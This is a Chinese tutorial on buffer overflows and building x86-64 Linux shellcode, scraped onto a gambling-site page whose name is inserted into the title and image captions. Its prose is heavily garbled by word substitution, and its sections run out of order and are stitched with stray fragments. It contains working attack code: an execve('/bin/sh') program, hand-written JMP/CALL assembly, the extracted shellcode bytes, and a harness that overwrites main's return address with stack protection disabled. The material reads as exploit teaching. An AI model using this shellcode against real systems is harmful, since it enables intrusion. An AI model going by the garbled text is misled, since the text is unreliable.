黑客攻防入门【永利澳门游戏网站】

通过下边包车型大巴二个小程序,大家一并来见证一下缓冲区溢出。

1. 概说

shell我们都明白是何许了啊! 狭义的shellcode
正是一段能够运转shell的代码!
结构一段shellcode的遵守就是为着在缓冲区溢出时将shellcode的地点覆盖掉平时的回到地址。
shellcode经常位于缓冲区内,也能够经过意况变量存入堆内,也得以透过动态内部存款和储蓄器放入堆区。
下边咱们上学一下怎么样构造shellcode。

瞩目: 作者是在Centos
六拾二人的系统下张开测量检验和创设shellcode的,shellcode的高端级本事能够协助不一样平台的移植,但上面创设的shellcode并不相符多平台。


永利澳门游戏网站 1

2. shellcode源代码

下面是shellcode的c代码

#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
    char *code[2]; 
    code[0] = "/bin/sh"; 
    code[1] = NULL; 
    execve(code[0], code, NULL); 
    return 0;
}

以上代码编写翻译运维能够获取七个shell(命令行)。

  1. execve 是
    Unix/Linux下exec函数,Linux日常是用fork成立新历程,用exec来施行新的次序
  2. exec有多少个函数,个中唯有execve是系统调用,别的三个exec函数最终都要调用execve。

AX贮存器通常用于保存函数重临值。

5. shellcode 之后

shellcode
除了得到shell外,还也可以有不少差异的效果与利益,营造shellcode还可能有为数不菲两样的法子,这里只是很基本的办法。

今世类别皆有饭店运维保险,有艺术能够绕过这几个维护不?

答案是有个别,所谓道高级中学一年级尺,魔高一丈!

地点的shellcode并不关乎缓冲区溢出,亦不适用缓冲区溢出,原因是怎么着吧?

且看下回分解。

上面大家先看看当前的栈帧:

本领实施

想要编写shellcode,将要理解指标程序调用shellcode时的困难,上面是地点的汇编代码的解释:

shellcode最艰难的有些正是要将字符串“/bin/sh”作为参数字传送递,shellcode被写入缓冲区后,代码的地方是不稳固的,为了能够拿走”/bin/sh”那一个字符串,黑客们接纳call指令,因为call指令推行的首先个动作正是将下一条指令的地址压栈,而大家把字符串布署在call后,目标便是要把它压入栈中。

  1. scode.s入口第一条指令: jmp cl #那是跳到cl标签处,亦即 call
    pp。
  1. call pp #将字符串压栈,同不时间再次回到到上边pp标签处
  2. popq %rcx
    #将字符串”/bin/sh”的地点存入rcx(通用贮存器),这里能够挑选别的贮存器。
  3. 接下去的三条指令是确立三个新的栈空间:
    pushq %rbp    
    mov %rsp, %rbp    
    subq $0x20, %rsp
    在真的注入的shellcode代码里,能够绝不制造那些栈,但此间演示程序在单独实践时,”/bin/sh”字符串是身处了代码段里,是不容许修改的空中,所以要建栈将以此字符串复制过去。
  4. movq %rcx, -0x10(%rbp)   #将字符串复制到栈
  5. movq
    $0x0,-0x8(%rbp)   #创制调用exec时的参数name[1],将它置0.
  6. lea -0x10(%rbp), %rsi
      #那是execve第贰个参数,它供给**类型,所以用lea传送地址给rsi。
  7. mov -0x10(%rbp), %rdi
      #mov将字符串传给rdi,那是execve第贰个参数。
  8. mov $59, %rax
      #本条59是execve的类别调用号,在/usr/include/asm/unistd_64.h里能够查询到.
  9. syscall       #系统调用, 那一个能够取代 int 0x80 .

并不是思索回到退出,代码基本无难题,上边进行编译和连接。

编译:  as -o scode.o scode.s
连接:  ld -o scode scode.o
用objdump反汇编scode,主要指标是领取二进制机器码,为了便利展现,二进制常常代表为十六进制。
那边有一条命令,能够直接出口到可以用在c语言的shellcode:

for i in $(objdump -d scode | grep “^ ” |cut -f2); do echo -n
‘x’$i; done;

终极收获的shellcode代码如下:

xebx2bx59x55x48x89xe5x48x83xecx20x48x89x4dxf0x48xc7x45xf8x00
x00x00x00xbax00x00x00x00x48x8dx75xf0x48x8bx7dxf0x48xc7xc0x3b
x00x00x00x0fx05xe8xd0xffxffxffx2fx62x69x6ex2fx73x68

相比上航海用体育场所的内部存款和储蓄器布局图,上边这段小程序中,argv字符串数组正是命令行参数,意况变量暗中认可没有必要显式写出来。

4. 测试shellcode

下是用c语言写五个测验shellcode的主次:

#include <stdio.h>

unsigned char code[] = "xebx2bx59x55x48x89xe5x48"   
 "x83xecx20x48x89x4dxf0x48" 
"xc7x45xf8x00x00x00x00xba" 
"x00x00x00x00x48x8dx75xf0"
 "x48x8bx7dxf0x48xc7xc0x3b" 
"x00x00x00x0fx05xe8xd0xff" 
"xffxffx2fx62x69x6ex2fx73x68"; 

/* code 就是我们上面构造的 shellcode */

void main(int argc, char *argv[])
{ 
    long *ret; 
    ret = (long *)&ret + 2; 
    (*ret) = (long)code;
}
  1. 因为是60位系统,地址是有陆拾位宽度的,所以要用long类型
  2. ret
    作为main的首先个部分变量,它必然是储存在main的栈空间内,个中long *
    ret 那条指令攻陷了三个陆10位,
    当ret地址加1(陆拾二位)时,ret就到达到栈的基址地方(rbp),作者在(一)那作品里深入分析过,main函数的回来地址还在栈基址之上的高地址中,它离开rbp还会有陆拾几位宽度,所以ret要求增添2(2个六十二个人)本领到达main的归来地址的保留地方。
  3. (*ret) = (long)code ,
    很通晓正是要用code的地方将main重回地址覆盖。

别的,由于系统装置了库房运营保证,gcc编译时须求动用参数:-fno-stack-protector
-z execstack

上述一多级表明,轻易看出,大家最后的指标正是在buf里溢出多少去覆盖main的回来地址。

shellcode塑造技艺

shelloce营造独一需求的能力是: 美妙地寄存”/bin/sh”字符串和平运动用。

中间二个技能是这么的:首先以一条【jmp】指令最早,它跳转到三个【call】指令处,该指令恰好是shelloce的开头处以前。实施【call】指令会将再次来到地址(shellcode初叶地址)压栈,并跳到下一条指令(最早jmp指令之后)。
如下:
jmp xxx
pop xxx
xxxxxxxx
call pop address
.string

二个【jmp】和三个【call】首尾呼应,是用来赢得.string里面内容的一个好方法。

除了JMP/CALL方法外,另一种常见的技术是应用FNSTENV汇编指令。
fnstenv指令将一个32字节的浮点单元(FPU)境况记录入由操作数钦点的内部存款和储蓄器地址,FPU意况记录是叁个数据结构,它的概念位于/usr/include/sys/user.h文件的user_fpregs_struct中。

/* These are the 32-bit x86 structures.  */
struct user_fpregs_struct
{
  long int cwd;
  long int swd;
  long int twd;
  long int fip;
  long int fcs;
  long int foo;
  long int fos;
  long int st_space [20];
};

接纳fip里面含有的调用的末尾一条FPU指令的eip,咱们得以成功获得到当前的地点。


参数1是main的argc,
参数2便是argv字符串数组(个中argv[0]是/root/stack/stack1,argv[1]是我们就要存入buf的多少),我们来证美素佳儿(Beingmate)下是还是不是正确:

3. 反汇编

咱俩将下面的代码进行编译,然后反汇编。

编译: gcc -o shellcode shellcode.c
反汇编:objdump -d shellcode > shellcode.s

shellcode.s 是大家获取的反汇编代码, 咱们只要求关爱main部分的:

0000000000400530 <main>:
  400530:       55                      push   %rbp
  400531:       48 89 e5                mov    %rsp,%rbp
  400534:       48 83 ec 20             sub    $0x20,%rsp
  400538:       89 7d ec                mov    %edi,-0x14(%rbp)
  40053b:       48 89 75 e0             mov    %rsi,-0x20(%rbp)
  40053f:       48 c7 45 f0 00 06 40    movq   $0x400600,-0x10(%rbp)
  400546:       00 
  400547:       48 c7 45 f8 00 00 00    movq   $0x0,-0x8(%rbp)
  40054e:       00 
  40054f:       48 8b 45 f0             mov    -0x10(%rbp),%rax
  400553:       48 8d 4d f0             lea    -0x10(%rbp),%rcx
  400557:       ba 00 00 00 00          mov    $0x0,%edx
  40055c:       48 89 ce                mov    %rcx,%rsi
  40055f:       48 89 c7                mov    %rax,%rdi
  400562:       e8 b9 fe ff ff          callq  400420 <execve@plt>
  400567:       b8 00 00 00 00          mov    $0x0,%eax
  40056c:       c9                      leaveq
  40056d:       c3                      retq
  40056e:       66 90                   xchg   %ax,%ax

参照上边的反汇编代码,大家手工业用汇编语言重写上边的shellcode.c,
如下:

.section .text
.global _start
_start:
jmp cl
pp: popq %rcx
pushq %rbp
mov %rsp, %rbp
subq $0x20, %rsp
movq %rcx, -0x10(%rbp)
movq $0x0,-0x8(%rbp)
mov $0, %edx
lea -0x10(%rbp), %rsi
mov -0x10(%rbp), %rdi
mov $59, %rax
syscall
cl:call pp
.ascii "/bin/sh"

地点的汇编代码中:

rax 保存种类调用号#59,那是execve的调用号
rdi 保存execve的第三个参数,是”/bin/sh”的地方
rsi 是指向前方用到的”/bin/sh”的指针早先并以空指针结尾的指针数组
永利澳门游戏网站,rdx 是零,用来做execve的第多个参数
execve的原型是:int execve(const char *filename, char *const
argv[],char *const envp[]);

我们将汇编代码保存在文书: scode.s 里。


  1. buf的定义是 10 字节,为何能够流传大于10字节的多寡而不出错?
  2. 当存入24字节时,程序为何现身段错误?
  3. 那和缓冲区溢出有关系呢?

0x7ffff7a3ab15原先躲在了越来越高的地方里,那些也在栈段范围内,是属于调于函数的栈帧内。

永利澳门游戏网站 2参数数据

堆: 常常用来作为动态存款和储蓄分配,如C标准库函数 malloc
便是在堆里申请内部存款和储蓄器空间的栈:
自动变量和每一趟函数调用时所需保存的音讯寄放的地点。栈是自顶向下生长的,栈还会有贰个特地的地点,正是先进后出,往栈放数据就好比往洞里塞东西,当拿东西的时候只可以先把最外面包车型大巴拿走。

bp和sp代表的是时下的栈帧空间,程序的运维周期里会采纳不一样的栈空间,完结函数的调用,栈的分支就如影片的帧,所以称为栈帧。

非也!大家再看:

缓冲区溢出正是选用这一个布局中的饭馆段来作小说的。

第一大家要学会创设shellcode,那么shellcode是何许营造的啊?请看下回分解!

gcc -g -o stack1 stack1.c

mov %rsp, %rbp 设置当前栈指针地址为基址sub %0x20, %rsp
新的栈指针上边两条语句功效是将一段新的内部存储器空间设置为新的栈段,栈的长台湾空中大学小是0x20mov
%edi, -0x14 参数1,距离栈的基址唯有0x14mov %rsi, -0x20 参数2

接下去,通过下边包车型客车通令,我们将代码编写翻译成二进制可施行文件。

C语言基础知识,这些可以看C语言相关的入门书籍,如《The C Programming
language》。

文字的说服力比不上图片,上边请看图:

上海体育场所呈现的难为大家所预期的。

溢出的目标是重写程序的周转饭馆,使调用重返仓库富含一个跳向预设好的次序的次序,这些顺序经常堪当shellcode,通过那一个shellcode就能够获得如期的shell,更有望得到root。

gcc带-g参数方便gdb调节和测量检验。

缓冲区溢出的目标正是要将栈中保存的回来地址篡改成成溢出的数目,那样就直接修改了函数的回到地址,当函数重回时,就能够跳转到预设的地方中,推行植入的代码。

在那之中,最首要的少数: 栈中保存了函数调用时的回来地址。

为此,尽管定义了buf的轻重缓急是10,但向其填写大于10的数据,只要在任其自然限制内,容忍度照旧部分。

绝对来说深黑框里的多少,并不曾0x7ffff7a3ab15,正是说main的回到地址并从未保留在此时此刻栈帧空间里,那么是或不是大家的终将过于坚定了啊?

上海教室大家运转stack1程序,用perl打印二十个A作为参数字传送递,能够看看%rdi = 2,
是argc, %rsi
则是二个再一次指针,正契合*argv[]的定义,大家再看看那个指针的数额是怎么着?

BP和SP即便是通用寄放器,但它专项使用为栈的基址指向栈的底部,SP指向栈的最上端。

永利澳门游戏网站 3buf区域

言归正转,说说buf为啥只好容纳二十多个字节

关于第三个难题,是因为具有内部存款和储蓄器贮存数据都遵照约定的章程:存款和储蓄的数量必须是4、8、16、32和64的翻番,这种措施叫内部存款和储蓄器对齐。

在这里,也能够复习一下哪些是再度指针,如**ptr,
arry[][]诸类的定义,它们所指的数码,都要经过两层直接才具接触到。同理借使是***ptr那几个概念,则要经过三层直接才找到最后数额。

那就是说,为啥它的容忍度不是30,不是20,而偏偏是24吗?因为24正是数码对齐的界线,本来是足以容忍二十多少个字节的,但是符串的结尾有二个空字符’’,例子中存入二十五个A时,实际上存入了24个字符,超越了24的疆界,越界了,所以就出标题呀!

发表评论

电子邮件地址不会被公开。 必填项已用*标注